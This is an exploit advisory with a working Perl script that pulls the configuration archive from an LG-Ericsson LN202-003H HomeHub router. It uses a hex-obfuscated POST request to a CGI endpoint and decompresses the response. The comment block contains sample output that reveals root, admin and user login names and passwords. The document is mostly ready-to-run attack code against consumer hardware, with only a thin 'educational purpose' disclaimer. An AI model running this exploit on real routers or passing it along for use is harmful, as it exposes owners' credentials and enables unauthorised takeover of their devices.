LG-ERICSSON LN202-003H HomeHub Router Remote Configuration Disclosure

2019.10.02
Credit: Todor Donev
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#!/usr/bin/perl -w # # LG-ERICSSON LN202-003H HomeHub Router Remote Configuration Disclosure # # Copyright 2019 (c) Todor Donev <todor.donev at gmail.com> # # # Disclaimer: # This or previous programs are for Educational purpose ONLY. Do not use it without permission. # The usual disclaimer applies, especially the fact that Todor Donev is not liable for any damages # caused by direct or indirect use of the information or functionality provided by these programs. # The author or any Internet provider bears NO responsibility for content or misuse of these programs # or any derivatives thereof. By using these programs you accept the fact that any damage (dataloss, # system crash, system compromise, etc.) caused by the use of these programs are not Todor Donev's # responsibility. # # Use them at your own risk! # # (Dont do anything without permissions) # # # [test@localhost homehubrouter]$ perl lg_ericsson.pl http://192.168.1.1:13337 | egrep --color 'ROOT_ID|ROOT_PW|ADMIN_ID|ADMIN_PW|USER_ID|USER_PW' # # [ LG-ERICSSON LN202-003H HomeHub Router Remote Configuration Disclosure # # [ ====================================================================== # # [ Exploit Author: Todor Donev 2019 <todor.donev@gmail.com> # # [ Initializing the browser # # [ >> Referer => http://192.168.1.1:13337 # # [ >> User-Agent => Mozilla/5.0 (X11; U; GNU/kFreeBSD i686; en-US; rv:1.8.1.16) Gecko/20080702 Iceape/1.1.11 (Debian-1.1.11-1) # # [ >> Content-Type => application/x-www-form-urlencoded # # [ << Connection => close # # [ << Accept-Ranges => bytes # # [ << Content-Length => 14890 # # [ << Content-Type => application/octet-stream # # [ << Client-Date => Tue, 01 Oct 2019 16:52:41 GMT # # [ << Client-Peer => 192.168.1.1:13337 # # [ << Client-Response-Num => 1 # # [ << Content-Disposition => attachment;filename="config.tgz" # # [ << Content-Transfer-Encoding => binary # # [ << Set-Cookie => QSESSIONID=de20d38aae21395cee9b5294429831b8; path=/ # # [ # # [ >> Decompressing the configuration dump... # # [ # # [ USER_ID= # # [ ./config/sys_password.conf0000644000000000000000000000010007033241613014553 0ustar rootrootROOT_ID=ktroot # # [ ROOT_PW=1234567890 # # [ USER_ID=ktuser # # [ USER_PW=megaap # # [ ./config/sys_user_id.conf0000644000000000000000000000003707033241613014354 0ustar rootrootADMIN_ID=ktroot # # [ USER_ID=ktuser # # [ RA_USER_ID= # # [ RA_USER_PW= # # [test@localhost homehubrouter]$ # use strict; use HTTP::Request; use LWP::UserAgent; use WWW::UserAgent::Random; use Gzip::Faster; my $host = shift || 'https://192.168.1.1/'; # Full path url to the store print "\033[2J"; #clear the screen print "\033[0;0H"; #jump to 0,0 print STDERR "[ LG-ERICSSON LN202-003H HomeHub Router Remote Configuration Disclosure\n"; print STDERR "[ ======================================================================\n"; print STDERR "[ Exploit Author: Todor Donev 2019 <todor.donev\@gmail.com>\n"; print STDERR "[ e.g. perl $0 https://target:port/\n" and exit if ($host !~ m/^http/); print STDERR "[ Initializing the browser\n"; my $user_agent = rand_ua("browsers"); my $browser = LWP::UserAgent->new(protocols_allowed => ['http', 'https'],ssl_opts => { verify_hostname => 0 }); $browser->timeout(30); $browser->agent($user_agent); my $target = $host."\x2f\x63\x67\x69\x2d\x62\x69\x6e\x2f\x73\x79\x73\x74\x65\x6d\x5f\x63\x6f\x6e\x66\x69\x67\x5f\x66\x69\x6c\x65"; my $payload = "\x63\x6f\x6e\x66\x69\x67\x5f\x63\x6d\x64\x3d\x25\x43\x30\x25\x46\x41\x25\x43\x30\x25\x45\x35"; my $request = HTTP::Request->new (POST => $target,[Content_Type => "application/x-www-form-urlencoded",Referer => $host], $payload); my $response = $browser->request($request) or die "[ Exploit Failed: $!"; print STDERR "[ >> $_ => ", $request->header($_), "\n" for $request->header_field_names; print STDERR "[ << $_ => ", $response->header($_), "\n" for $response->header_field_names; my $gzip = $response->content(); print STDERR "[\n[ >> Decompressing the configuration dump...\n[\n"; print "[ ", $_, "\n" for split(/\n/,gunzip($gzip));


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